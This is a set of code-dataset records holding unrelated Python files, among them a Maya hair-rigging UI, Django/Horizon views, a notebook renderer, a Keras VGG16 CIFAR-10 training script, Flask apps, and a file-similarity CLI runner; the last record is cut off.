+{"seq_id":"590827968","text":"students={\n 100:{\"rol\":100,\"name\":\"test\",\"course\":\"bca\",\"total\":140},\n 101:{\"rol\": 101, \"name\": \"test1\", \"course\": \"mca\", \"total\": 140},\n 102:{\"rol\": 102, \"name\": \"test2\", \"course\": \"bca\", \"total\": 140},\n 103:{\"rol\": 103, \"name\": \"test3\", \"course\": \"bca\", \"total\": 140},\n\n}\ndef print_student(**kwargs):\n rol=kwargs[\"id\"]\n if(rol in students):\n print(students[rol][\"name\"])\n prop=kwargs[\"prop\"]\n if(prop in students[rol]):\n print(students[rol][prop])\n else:\n print(\"invalid\")\n\nid=int(input(\"enter id\"))\nprop=input(\"enter property\")\nprint_student(id=id,prop=prop)","sub_path":"different_function/nestd_dict.py","file_name":"nestd_dict.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"282274634","text":"#!usr/bin/env python\n#coding:utf-8\nimport pymel.core as pm \nimport maya.OpenMaya as OpenMaya\nimport maya.OpenMayaUI as OpenMayaUI\nfrom PySide import QtGui, QtCore, QtUiTools\nfrom shiboken import wrapInstance\nimport functools\n\n\ndef getMayaWindow():\n \"\"\" pointer to the maya main window \n \"\"\"\n ptr = OpenMayaUI.MQtUtil.mainWindow()\n if ptr :\n return wrapInstance(long(ptr), QtGui.QMainWindow)\n\n\nclass AllHairConnect(QtGui.QDialog):\n\t\n\tdef __init__(self , parent = getMayaWindow()):\n\t\tsuper(AllHairConnect , self).__init__(parent)\n\t\tself.main = None \n\t\tself.char = None \n\t\t\n\t\tself.QVBoxLayout = QtGui.QVBoxLayout()\n\t\tself.QVBoxLayout.setContentsMargins(5,5,5,5)\n\t\t\n\t\tself.GroupBox = QtGui.QGroupBox()\n\t\tself.QVBoxLayout.addWidget(self.GroupBox)\n\t\n\t\tself.qGroupBox = QtGui.QGroupBox(self.GroupBox)\n\t\tself.qGroupBox.setGeometry(QtCore.QRect(10, 10, 170, 60))\n\t\t#self.QVBoxLayout.addWidget(self.qGroupBox)\n\t\t\n\t\tself.qGrid1 = QtGui.QGridLayout()\n\t\tself.qGrid1.setContentsMargins(5,5,5,5)\n\t\tself.qGroupBox.setLayout(self.qGrid1)\n\t\t\n\t\tself.linetxt1 = QtGui.QLabel(unicode('确保毛发层级按规范命名','gbk'))\n\t\tfont1 = QtGui.QFont()\n\t\tfont1.setPointSize(10)\n\t\tself.linetxt1.setFont(font1)\n\t\tself.linetxt1.setAlignment(QtCore.Qt.AlignCenter)\n\t\tself.linetxt1.setStyleSheet(\"color: rgb(255, 0, 0);\")\n\t\tself.qGrid1.addWidget(self.linetxt1)\n\t\t\n\t\tself.linetxt2 = QtGui.QLabel(unicode('否则脚本运行出错!','gbk'))\n\t\tfont2 = QtGui.QFont()\n\t\tfont2.setPointSize(10)\n\t\tself.linetxt2.setFont(font2)\n\t\tself.linetxt2.setAlignment(QtCore.Qt.AlignCenter)\n\t\tself.linetxt2.setStyleSheet(\"color: rgb(255, 0, 0);\")\n\t\tself.qGrid1.addWidget(self.linetxt2)\n\t\t\n\t\tself.qGroupBox1 = QtGui.QGroupBox(self.GroupBox)\n\t\tself.qGroupBox1.setGeometry(QtCore.QRect(10, 80, 170, 205))\n\n\t\t\n\t\tself.PushButton = QtGui.QPushButton('hair',self.qGroupBox1)\n\t\tself.PushButton.setGeometry(QtCore.QRect(10, 10, 150, 55))\n\t\tself.PushButton.setToolTip(unicode('约束影响线的组','gbk'))\n\t\tself.PushButton.setStyleSheet(\"font: 75 15pt \\\"Aharoni\\\";\\ncolor: rgb(85, 255, 255);\")\n\n\n\t\tself.PushButton1 = QtGui.QPushButton('shave',self.qGroupBox1)\n\t\tself.PushButton1.setGeometry(QtCore.QRect(10, 75, 150, 55))\n\t\tself.PushButton1.setStyleSheet(\"font: 75 15pt \\\"Aharoni\\\";\\ncolor: rgb(85, 255, 255);\")\n\t\t\n\t\t\n\t\tself.PushButton2 = QtGui.QPushButton('yeti',self.qGroupBox1)\n\t\tself.PushButton2.setGeometry(QtCore.QRect(10, 140, 150, 55))\n\t\tself.PushButton2.setToolTip(unicode('约束yeti节点','gbk'))\n\t\tself.PushButton2.setStyleSheet(\"font: 75 15pt \\\"Aharoni\\\";\\ncolor: rgb(85, 255, 255);\")\n\t\t\n\t\t\n\t\tself.makeConnections()\n\t\t\n\t\tself.resize(200, 100)\n\t\tself.setMinimumSize(QtCore.QSize(200, 305))\n\t\tself.setMaximumSize(QtCore.QSize(200, 305))\n\t\t\n\t\tself.setWindowTitle(\"Hair Connect UI\")\n\t\tself.setLayout(self.QVBoxLayout)\n\t\tself.initUiState()\n\t\t\n\t\n\tdef makeConnections(self):\n\t\tself.PushButton.clicked.connect(self.hairLink)\n\t\tself.PushButton1.clicked.connect(self.shaveLink)\n\t\tself.PushButton2.clicked.connect(self.yetiLink)\n\n\tdef initUiState(self):\n\t\t\n\t\tpass\n\t\n\tdef allConnect(self):\n\t\tif not pm.objExists('Main') and not pm.objExists('Character'):\n\t\t\tOpenMaya.MGlobal_displayError('Not Main ctrl or Character ctrl')\n\t\t\treturn\n\t\tself.main = pm.PyNode('Main')\n\t\tself.char = pm.PyNode('Character')\n\t\t\n\t\tif not self.main.hasAttr('showMod'):\n\t\t\tself.main.addAttr('showMod' , at = 'long' , min= 0 , max = 1 , dv = 1 , k = True)\n\t\t\n\t\t#self.hairLink()\n\t\t#self.shaveLink()\n\t\t#self.yetiLink()\n\t\t\n\t\t\n\t\n\tdef hairLink(self):\t\n\t\t'''\n\t\texamine hair \n\t\t'''\t\n\t\tself.allConnect()\n\t\t\n\t\thairNodeList = pm.ls(type = 'hairSystem')\t\n\t\tif hairNodeList:\n\t\t\tif not pm.objExists('hair_G') :\n\t\t\t\tOpenMaya.MGlobal_displayError('Not hair_G Group')\n\t\t\t\treturn\n\t\t\tif not pm.objExists('hair_setup_G'):\n\t\t\t\tOpenMaya.MGlobal_displayError('Not hair_setup_G Group')\n\t\t\t\treturn\n\t\t\t\n\t\t\thairGroup = pm.PyNode('hair_G')\n\t\t\tif self.main.showMod not in hairGroup.v.inputs(p = True):\n\t\t\t\tself.main.showMod.connect(hairGroup.v , f = True)\n\t\t\t\n\t\t\tfor hair in hairNodeList:\n\t\t\t\thair.simulationMethod.set(1)\n\t\t\t\t\n\t\t\thairNameList = [n.name() for n in hairNodeList]\n\t\t\tOpenMaya.MGlobal_displayInfo('%s All attribute simulationMethod revamp Stactic'%hairNameList)\t\n\t\t\t\n\t\t\tnucleusNodeList = pm.ls(type = 'nucleus')\n\t\t\tif nucleusNodeList:\n\t\t\t\tfor nucleus in nucleusNodeList:\n\t\t\t\t\tnucleus.enable.set(0)\n\t\t\t\t\t\n\t\t\t\tOpenMaya.MGlobal_displayInfo('%s All attribute enable revamp 0'%nucleusNodeList)\n\t\t\t\n\t\t\tself.displayDialog('hairSystem已设为Static状态, 解算器Enable已关掉!')\t\t\t\t\n\t\telse:\n\t\t\treturn\tFalse\t\n\t\n\tdef shaveLink(self):\n\t\t'''\n\t\texamine shave\n\t\t'''\t\n\t\tself.allConnect()\n\t\t\t\t\t\n\t\tif 'shaveHair' in pm.allNodeTypes():\n\t\t\tshaveNodeList = pm.ls(type = 'shaveHair')\n\t\t\t\n\t\t\tif shaveNodeList:\n\t\t\t\tif not pm.objExists('shave_G'):\n\t\t\t\t\tOpenMaya.MGlobal_displayError('Not shave_G Group')\n\t\t\t\t\treturn\n\t\t\t\tif not pm.objExists('shave_setup_G'):\n\t\t\t\t\tOpenMaya.MGlobal_displayError('Not shave_setup_G Group')\n\t\t\t\t\treturn\n\t\t\t\t\t\t\t\t\n\t\t\t\tshaveGroup = pm.PyNode('shave_G')\n\t\t\t\tif self.main.showMod not in shaveGroup.v.inputs(p = True):\n\t\t\t\t\tself.main.showMod.connect(shaveGroup.v , f = True)\n\t\t\t\t\n\t\t\t\tfor shave in shaveNodeList:\n\t\t\t\t\tshaveAttrs = ['.scale' , '.rootThickness' , '.tipThickness' , '.displacement' , '.rootSplay' , '.tipSplay']\n\t\t\t\t\tshaveAttrsList = [shave+att for att in shaveAttrs]\n\t\t\t\t\tmap(self.scaleLink ,shaveAttrsList)\n\t\t\t\t\tOpenMaya.MGlobal_displayInfo('Character connected %s'%shave)\n\t\t\t\t\t\n\t\t\t\tself.setMesh('shaveHair')\n\t\t\t\tself.displayDialog('shave节点已关联总控的缩放属性! 蒙皮模型已设置不可渲染, 并隐藏锁定!')\t\n\t\telse:\n\t\t\treturn False\n\t\n\tdef yetiLink(self):\t\n\t\t'''\n\t\texamine yeti\n\t\t'''\n\t\tself.allConnect()\n\t\t\n\t\tif 'pgYetiMaya' in pm.allNodeTypes():\n\t\t\tyetiNodeList = pm.ls(type = 'pgYetiMaya')\n\t\t\tyetiList = [node.getParent() for node in yetiNodeList]\n\t\t\tif yetiList:\n\t\t\t\tif not pm.objExists('yeti_G'):\n\t\t\t\t\tOpenMaya.MGlobal_displayError('Not yeti_G Group')\n\t\t\t\t\treturn\n\t\t\t\tif not pm.objExists('yeti_setup_G'):\n\t\t\t\t\tOpenMaya.MGlobal_displayError('Not yeti_setup_G Group')\n\t\t\t\t\treturn\n\t\t\t\t\n\t\t\t\tyetiGroup = pm.PyNode('yeti_G')\n\t\t\t\tif self.main.showMod not in yetiGroup.v.inputs(p = True):\n\t\t\t\t\tself.main.showMod.connect(yetiGroup.v , f = True)\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\tif not self.main.hasAttr('abc'):\n\t\t\t\t\tself.main.addAttr('abc' , at = 'enum' , en = \"efx:anim:\" , k = True)\n\t\t\t\t\tself.main.abc.set(1)\n\t\t\t\t\t\t\n\t\t\t\tconAttrList = []\n\t\t\t\t\n\t\t\t\tfor yeti in yetiList:\n\t\t\t\t\tcons = yeti.listRelatives(type = 'parentConstraint')\n\t\t\t\t\t\n\t\t\t\t\tif not cons:\n\t\t\t\t\t\tOpenMaya.MGlobal_displayError('Not do %s node parentConstraint'%yeti)\n\t\t\t\t\telse:\t\n\t\t\t\t\t\tconAttrs = [attr.listAttr(ud = True)[0] for attr in cons]\n\t\t\t\t\t\t\n\t\t\t\t\t\tconAttrList += conAttrs\n\t\t\t\t\n\t\t\t\tfor shape in yetiNodeList:\n\t\t\t\t\tif self.main.abc not in shape.fileMode.inputs(p = True):\n\t\t\t\t\t\tself.main.abc.connect(shape.fileMode , f = True)\n\t\t\t\t\t\t\n\t\t\t\tif conAttrList:\n\t\t\t\t\tfor att in conAttrList:\n\t\t\t\t\t\tif self.main.abc not in att.inputs(p = True):\n\t\t\t\t\t\t\tself.main.abc.connect( att , f = True)\n\t\t\t\t\n\t\t\t\tself.setMesh('pgYetiMaya')\n\t\t\t\t\n\t\t\t\tif conAttrList:\n\t\t\t\t\tself.displayDialog('总控abc属性已关联yeti的约束节点和cache属性! 蒙皮模型已设置不可渲染, 并隐藏锁定!')\n\t\t\t\telse:\n\t\t\t\t\tself.displayDialog('总控abc属性已关联yeti的cache属性! 蒙皮模型已设置不可渲染, 并隐藏锁定! 约束节点没有!')\n\t\telse:\n\t\t\treturn False\n\t\n\tdef scaleLink(self , nodeAttr = None ):\n\t\t'''\n\t\t@attr : str \n\t\t'''\n\t\tattrValue = pm.getAttr(nodeAttr)\n\t\tif not pm.objExists(nodeAttr.replace('.' , '_') + '_MD'):\n\t\t\tattrMD = pm.createNode('multiplyDivide' , name = nodeAttr.replace('.' , '_') + '_MD')\n\t\telse:\n\t\t\tattrMD = pm.PyNode(nodeAttr.replace('.' , '_') + '_MD')\n\t\t\t\n\t\tattrMD.input2X.set(attrValue)\n\t\t\n\t\tif self.char.sx not in attrMD.input1X.inputs(p = True):\n\t\t\tself.char.sx.connect(attrMD.input1X , f = True)\n\t\t\t\n\t\tpulgs = pm.listConnections(nodeAttr , s = True , d = False , p = True)\n\t\tif attrMD.outputX not in pulgs:\n\t\t\tattrMD.outputX.connect(nodeAttr , f = True)\n\t\t\n\t\treturn attrMD\n\t\t\n\t\n\tdef displayDialog(self , txet = None):\n\t\t'''\n\t\t@text : str , This is the text is error result\n\t\t'''\n\t\twindow = pm.window( title=\"outcome display\" , iconName='Short Name' , widthHeight=(200, 70) )\n\t\tpm.columnLayout( adjustableColumn=True )\n\t\tcmds.text('')\n\t\ttxetList = txet.split(' ')\n\t\tfor s in txetList:\n\t\t\tcmds.text( label=s, align='center' )\n\t\tpm.setParent( '..' )\n\t\tpm.showWindow( window )\n\t\t\n\t\t\n\t\n\tdef setRender(self , shape = None , value = False):\n\t\t'''\n\t\t@shape : str , This is the shape is shape name \n\t\t@value : bool , True or False\n\t\t'''\n\t\tattr = ['.castsShadows' , '.receiveShadows' , '.motionBlur' , '.smoothShading' , '.primaryVisibility' , '.visibleInReflections' , '.visibleInRefractions' , '.doubleSided']\n\t\t\n\t\tfor atr in attr:\n\t\t\tpm.setAttr(shape + atr , value)\n\t\n\t\n\tdef setMesh(self , nodeType1 = None):\n\t\t'''\n\t\t@groupName : str , This is the grpup name\n\t\t'''\n\t\tif not nodeType1:\n\t\t\treturn \n\t\tif nodeType1 == 'shaveHair':\n\t\t\tmesh = pm.ls(type = 'shaveHair' )\n\t\t\tmeshShape = []\n\t\t\tfor s in mesh:\n\t\t\t\tin1 = s.displayNode.inputs(sh = True)[0]\n\t\t\t\tin2 = s.inputMesh[0].inputs(sh = True)[0]\n\t\t\t\tif not in1:\n\t\t\t\t\tOpenMaya.MGlobal_displayError('shaveHair not %s mesh '%in1)\n\t\t\t\tif not in2:\n\t\t\t\t\tOpenMaya.MGlobal_displayError('shaveHair not %s ski mesh '%in2)\n\t\t\t\tmeshShape.append(in1)\n\t\t\t\tmeshShape.append(in2)\n\t\t\n\t\tif nodeType1 == 'pgYetiMaya':\n\t\t\tmesh = pm.ls(type = 'pgYetiMaya' )\n\t\t\tmeshShape = []\n\t\t\tfor s in mesh:\n\t\t\t\tin1 = s.inputGeometry[0].inputs(sh = True)[0]\n\t\t\t\tin2 = s.inputGeometry[1].inputs(sh = True)[0]\n\t\t\t\tif not in1:\n\t\t\t\t\tOpenMaya.MGlobal_displayError('pgYetiMaya not %s mesh '%in1)\n\t\t\t\tif not in2:\n\t\t\t\t\tOpenMaya.MGlobal_displayError('pgYetiMaya not %s reference mesh '%in2)\t\n\t\t\t\t\t\n\t\t\t\tmeshShape.append(in1)\n\t\t\t\tmeshShape.append(in2)\t\t\n\n\t\tfor shape in meshShape:\n\t\t\tif not shape.getParent().v.get(l = True ):\n\t\t\t\tshape.getParent().v.set(0 , l = True , k = False , cb = True)\n\t\t\tself.setRender(shape.name())\n\t\t\n\n\n\nhairs = AllHairConnect()\nhairs.show()\n\n\n","sub_path":"last_at_HQ/normal/001-设置工具集/004-修改编辑/bak/allHairConnect.py","file_name":"allHairConnect.py","file_ext":"py","file_size_in_byte":10032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"476182279","text":"# -*- coding: utf8 -*-\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom django.core.urlresolvers import reverse\nfrom django.core.urlresolvers import reverse_lazy\nfrom django.utils.translation import ugettext_lazy as _\nimport horizon.forms\nimport horizon.tables\n\nfrom tuskar_ui import api\nfrom tuskar_ui.infrastructure.parameters import forms\nfrom tuskar_ui.infrastructure.parameters import tables\n\n\nclass ServiceConfigView(horizon.forms.ModalFormView):\n form_class = forms.EditServiceConfig\n success_url = reverse_lazy('horizon:infrastructure:parameters:index')\n submit_label = _(\"Save Configuration\")\n template_name = \"infrastructure/parameters/service_config.html\"\n\n def get_initial(self):\n plan = api.tuskar.Plan.get_the_plan(self.request)\n compute_prefix = plan.get_role_by_name('compute').parameter_prefix\n controller_prefix = plan.get_role_by_name(\n 'controller').parameter_prefix\n\n cinder_iscsi_helper = plan.parameter_value(\n controller_prefix + 'CinderISCSIHelper')\n cloud_name = plan.parameter_value(\n controller_prefix + 'CloudName')\n extra_config = plan.parameter_value(\n controller_prefix + 'ExtraConfig')\n neutron_public_interface = plan.parameter_value(\n controller_prefix + 'NeutronPublicInterface')\n ntp_server = plan.parameter_value(\n controller_prefix + 'NtpServer')\n snmp_password = plan.parameter_value(\n controller_prefix + 'SnmpdReadonlyUserPassword')\n virt_type = plan.parameter_value(\n compute_prefix + 'NovaComputeLibvirtType')\n return {\n 'cinder_iscsi_helper': cinder_iscsi_helper,\n 'cloud_name': cloud_name,\n 'neutron_public_interface': neutron_public_interface,\n 'ntp_server': ntp_server,\n 'extra_config': extra_config,\n 'neutron_public_interface': neutron_public_interface,\n 'snmp_password': snmp_password,\n 'virt_type': virt_type}\n\n\nclass IndexView(horizon.tables.MultiTableView):\n table_classes = (\n tables.GlobalParametersTable,\n tables.ControllerParametersTable,\n tables.ComputeParametersTable,\n tables.BlockStorageParametersTable,\n tables.ObjectStorageParametersTable,\n )\n template_name = \"infrastructure/parameters/index.html\"\n\n def get(self, request, *args, **kwargs):\n self.plan = api.tuskar.Plan.get_the_plan(request)\n self.parameters = self.plan.parameter_list(\n include_key_parameters=False)\n return super(IndexView, self).get(request, *args, **kwargs)\n\n def _get_parameters(self, role_name=None):\n if not role_name:\n return [p for p in self.parameters if p.role is None]\n return [p for p in self.parameters\n if p.role and p.role.name == role_name]\n\n def get_global_parameters_data(self):\n return self._get_parameters(None)\n\n def get_controller_parameters_data(self):\n return self._get_parameters('controller')\n\n def get_compute_parameters_data(self):\n return self._get_parameters('compute')\n\n def get_block_storage_parameters_data(self):\n return self._get_parameters('cinder-storage')\n\n def get_object_storage_parameters_data(self):\n return self._get_parameters('swift-storage')\n\n def get_context_data(self, **kwargs):\n context = super(IndexView, self).get_context_data(**kwargs)\n edit_action = {\n 'name': _('Edit Configuration'),\n 'url': reverse('horizon:infrastructure:parameters:'\n 'service_configuration'),\n 'icon': 'fa-pencil',\n }\n context['header_actions'] = [edit_action]\n return context\n","sub_path":"tuskar_ui/infrastructure/parameters/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"458743960","text":"from .. import FileRenderer\nimport re\nimport os.path\nfrom IPython.config import Config\n# from IPython.nbconvert import export_python\nfrom IPython.nbconvert.exporters import HTMLExporter\nfrom IPython.nbformat import current as nbformat\n\nc = Config()\nc.HTMLExporter.template_file = 'basic'\nc.NbconvertApp.fileext = 'html'\nc.CSSHTMLHeaderTransformer.enabled = False\nc.Exporter.filters = {'strip_files_prefix': lambda s: s} #don't strip the files prefix\nexporter = HTMLExporter(config=c)\n\n\nclass NbFormatError(Exception):\n pass\n\n\nclass IPynbRenderer(FileRenderer):\n def _detect(self, file_pointer):\n _, ext = os.path.splitext(file_pointer.name)\n return ext.lower() == '.ipynb'\n\n def _render(self, file_pointer, **kwargs):\n content = file_pointer.read()\n nb = self._parse_json(content)\n name, theme = self._get_metadata(nb)\n body = exporter.from_notebook_node(nb)[0]\n return self._render_mako(\n \"ipynb.mako\", file_name=name, css_theme=theme, mathjax_conf=None,\n body=body, STATIC_PATH=self.STATIC_PATH\n )\n\n def _parse_json(self, content):\n try:\n nb = nbformat.reads_json(content)\n except ValueError:\n raise NbFormatError('Error reading json notebook')\n return nb\n\n def _get_metadata(self, nb):\n # notebook title\n name = nb.get('metadata', {}).get('name', None)\n if not name:\n name = \"untitled.ipynb\"\n if not name.endswith(\".ipynb\"):\n name += \".ipynb\"\n\n # css\n css_theme = nb.get('metadata', {})\\\n .get('_nbviewer', {})\\\n .get('css', None)\n if css_theme and not re.match('\\w', css_theme):\n css_theme = None\n return name, css_theme","sub_path":"mfr/renderer/ipynb/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"346269089","text":"# -*- coding: utf-8 -*-\nfrom datetime import date\nfrom app import db\n\nclass GuessBookItem(db.Model):\n id = db.Column(db.Integer, primary_key=True, autoincrement=True)\n author = db.Column(db.String(80), nullable=False)\n text = db.Column(db.String(120), unique=True, nullable=False)\n date = db.Column(db.Date, default=date.today)\n is_visible=db.Column(db.Boolean, default=True, nullable=False)\n \n def __str__(self):\n return ' \\n %s ' % (self.author, \n self.id, self.text)\n ","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"134143683","text":"import keras\nimport numpy as np\nimport tensorflow as tf\nfrom keras import optimizers\nfrom keras import regularizers\nfrom keras import backend as K\nfrom keras.datasets import cifar10\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Activation, Flatten\nfrom keras.layers import Conv2D, MaxPooling2D, BatchNormalization\nfrom keras.preprocessing.image import ImageDataGenerator\n\n\n# Layer 효율적 관리를 위한 함수 설정\n# MaxPool Layer\ndef MaxPool(models):\n models.add(MaxPooling2D(pool_size=(2, 2)))\n\n\n# Convolution Layer\ndef Conv_layer(models, num_maps, dropout, weight_decay, input=None):\n if input != None:\n # 최초 Convolution Layer\n models.add(Conv2D(num_maps, (3, 3), padding=\"same\", input_shape=input,\n kernel_regularizer=regularizers.l2(weight_decay)))\n models.add(Activation('relu'))\n models.add(BatchNormalization())\n models.add(Dropout(dropout))\n elif dropout == 0:\n # Dropout을 넣지 않을 경우\n models.add(Conv2D(num_maps, (3, 3), padding=\"same\",\n kernel_regularizer=regularizers.l2(weight_decay)))\n models.add(Activation('relu'))\n models.add(BatchNormalization())\n else:\n # 다른 경우\n models.add(Conv2D(num_maps, (3, 3), padding=\"same\",\n kernel_regularizer=regularizers.l2(weight_decay)))\n models.add(Activation('relu'))\n models.add(BatchNormalization())\n models.add(Dropout(dropout))\n\n\n# Fully Connected Layer\ndef Dense_layer(models, num_maps, dropout, weight_decay, func_activation, BatchNorm=True):\n models.add(Dense(num_maps,\n kernel_regularizer=regularizers.l2(weight_decay)))\n models.add(Activation(func_activation))\n if BatchNorm == True:\n models.add(BatchNormalization())\n # Dropout 여부\n if dropout == None:\n return\n else:\n models.add(Dropout(dropout))\n\n\nif __name__ == \"__main__\":\n # Main 함수 시작\n # GPU 활용을 위한 코드\n config = tf.compat.v1.ConfigProto()\n config.gpu_options.allow_growth = True\n session = tf.compat.v1.Session(config=config)\n\n # Data 받기\n (x_train, y_train), (x_test, y_test) = cifar10.load_data()\n\n # 변수 설정\n lr = 0.1\n lr_decay = 1e-6\n lr_drop = 10\n weight_decay = 0.0005\n num_class = 10\n batch_size = 100\n full_epoch = 250\n\n # Overfitting 방지를 위한 전처리 시작\n x_train = x_train.astype('float32')\n x_test = x_test.astype('float32')\n\n # Data augmentation\n augment = ImageDataGenerator(\n rotation_range=15,\n width_shift_range=0.1,\n height_shift_range=0.1,\n horizontal_flip=True,\n vertical_flip=False\n )\n augment.fit(x_train)\n augment_y = ImageDataGenerator() # for evaluate_generator\n\n # Data Normalize\n mean = np.mean(x_train, axis=(0, 1, 2, 3))\n std = np.std(x_train, axis=(0, 1, 2, 3))\n x_train = (x_train-mean)/(std+1e-7)\n x_test = (x_test-mean)/(std+1e-7)\n\n # label Categorize\n y_train = keras.utils.to_categorical(y_train, num_class)\n y_test = keras.utils.to_categorical(y_test, num_class)\n\n # learning rate scheduler\n\n def lr_schedule(epoch):\n return lr * (0.8 ** (epoch//lr_drop))\n\n # learning rate decay\n modified_lr = keras.callbacks.LearningRateScheduler(lr_schedule)\n # Optimizer 설정\n sgd = optimizers.SGD(learning_rate=lr, decay=lr_decay,\n momentum=0.9, nesterov=True)\n rms = optimizers.RMSprop(lr=lr, rho=0.9, epsilon=None, decay=lr_decay)\n\n # Model Layer 설정 - VGG16 기반\n model = Sequential()\n Conv_layer(models=model, num_maps=64, dropout=0.3,\n weight_decay=weight_decay, input=x_train.shape[1:])\n Conv_layer(models=model, num_maps=64, dropout=0,\n weight_decay=weight_decay)\n MaxPool(models=model)\n Conv_layer(models=model, num_maps=128,\n dropout=0.3, weight_decay=weight_decay)\n Conv_layer(models=model, num_maps=128,\n dropout=0, weight_decay=weight_decay)\n MaxPool(models=model)\n Conv_layer(models=model, num_maps=256,\n dropout=0.3, weight_decay=weight_decay)\n Conv_layer(models=model, num_maps=256,\n dropout=0.3, weight_decay=weight_decay)\n Conv_layer(models=model, num_maps=256,\n dropout=0, weight_decay=weight_decay)\n MaxPool(models=model)\n Conv_layer(models=model, num_maps=512,\n dropout=0.4, weight_decay=weight_decay)\n Conv_layer(models=model, num_maps=512,\n dropout=0.4, weight_decay=weight_decay)\n Conv_layer(models=model, num_maps=512,\n dropout=0, weight_decay=weight_decay)\n MaxPool(models=model)\n Conv_layer(models=model, num_maps=512,\n dropout=0.4, weight_decay=weight_decay)\n Conv_layer(models=model, num_maps=512,\n dropout=0.4, weight_decay=weight_decay)\n Conv_layer(models=model, num_maps=512,\n dropout=0, weight_decay=weight_decay)\n MaxPool(models=model)\n model.add(Flatten())\n Dense_layer(models=model, num_maps=512, dropout=0.5,\n weight_decay=weight_decay, func_activation='relu')\n Dense_layer(models=model, num_maps=num_class, dropout=0,\n weight_decay=weight_decay, BatchNorm=False, func_activation='softmax')\n model.summary()\n\n # model compile\n model.compile(loss='categorical_crossentropy',\n optimizer=sgd, metrics=['accuracy'])\n\n # model training\n training = model.fit_generator(augment.flow(x_train, y_train, batch_size=batch_size),\n steps_per_epoch=x_train.shape[0] // batch_size,\n epochs=full_epoch, validation_data=(x_test, y_test),\n callbacks=[modified_lr])\n\n # model evaluation\n score = model.evaluate_generator(augment_y.flow(x_test, y_test), verbose=1)\n score2 = model.evaluate(x_test, y_test, verbose=1)\n print(\"Accuracy 1: \", score[1])\n print(\"Accuracy 2: \", score2[1])\n","sub_path":"final_vggmodel.py","file_name":"final_vggmodel.py","file_ext":"py","file_size_in_byte":6110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"340493234","text":"from flask import Flask, request, jsonify\nfrom gevent.wsgi import WSGIServer\nfrom board import Board\n\napp = Flask(__name__, static_url_path='')\n\n@app.route('/', methods=['GET'])\ndef index():\n '''Returns client page'''\n return app.send_static_file('index.html')\n\n@app.route('/api/generate/random', methods=['GET'])\ndef generate_random():\n random_board = Board(4)\n return jsonify(random_board.to_dict())\n\nhttp_server = WSGIServer(('', 5000), app)\nhttp_server.serve_forever()","sub_path":"catan_server.py","file_name":"catan_server.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"89585347","text":"\"\"\"\n Abero Runner\n (c) 2020 Rodney Maniego Jr.\n File analysis tool\n\"\"\"\n\nimport sys\nimport argparse\n\nimport abero\n\nfrom arkivist import Arkivist\n\ndef runner():\n parser = argparse.ArgumentParser(prog=\"abero\",\n description=\"Similarity analyzer.\")\n parser.add_argument(\"-d\",\n \"--directory\",\n metavar=\"directory\",\n type=str,\n help=\"Directory of the files.\",\n required=True)\n\n parser.add_argument(\"-e\",\n \"--extension\",\n metavar=\"extension\",\n type=str,\n help=\"Allowed file extension to be analyzed.\")\n\n parser.add_argument(\"-c\",\n \"--control\",\n metavar=\"control\",\n type=str,\n help=\"Filepath of the control file.\")\n\n parser.add_argument(\"-t\",\n \"--threshold\",\n metavar=\"threshold\",\n type=int,\n help=\"Tolerance level for the analysis data.\")\n\n parser.add_argument(\"-u\",\n \"--unzip\",\n metavar=\"unzip\",\n type=int,\n help=\"Unzip flag\")\n\n parser.add_argument(\"-s\",\n \"--skipnames\",\n metavar=\"skipnames\",\n type=int,\n help=\"Skip files with common filenames.\")\n\n parser.add_argument(\"-g\",\n \"--group\",\n metavar=\"group\",\n type=int,\n help=\"Only compare when files has the same unique identifier.\")\n\n parser.add_argument(\"-r\",\n \"--reset\",\n metavar=\"reset\",\n type=int,\n help=\"Reset data before analyzing files.\")\n\n args = parser.parse_args()\n\n # get submissions directory\n directory = args.directory\n if not abero.check_path(directory):\n print(f\"\\nAberoError: The directory was not found: {directory}\")\n sys.exit(0)\n\n extension = args.extension\n if extension is None:\n extension = \"txt\"\n\n # set the threshold level\n threshold = abero.defaults(args.threshold, 1, 100, 80)\n\n # get template path\n template = args.control\n if template is not None:\n if not abero.check_path(template):\n print(f\"\\nAberoWarning: File was not found: {template}\")\n template = None\n\n # set the skip names flag\n skipnames = abero.defaults(args.skipnames, 0, 1, 0)\n\n # set the group flag\n group = abero.defaults(args.group, 0, 1, 1)\n\n # set the unzip flag\n unzip = abero.defaults(args.unzip, 0, 1, 0)\n\n # set the clear data flag\n reset = abero.defaults(args.reset, 0, 1, 0)\n\n abero.analyze(directory, extension=extension, threshold=threshold, template=template, skipnames=skipnames, group=group, unzip=unzip, reset=reset)\n\nif __name__ == \"__main__\":\n runner()","sub_path":"build/lib/abero/runner.py","file_name":"runner.py","file_ext":"py","file_size_in_byte":3148,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"512345252","text":"# stdlib\nfrom datetime import datetime\nfrom typing import Any\nfrom typing import Dict\nfrom typing import Optional\n\n# third party\nfrom sqlalchemy.engine import Engine\nfrom sqlalchemy.orm import sessionmaker\n\n# relative\nfrom ....common.uid import UID\nfrom ..exceptions import RequestError\nfrom 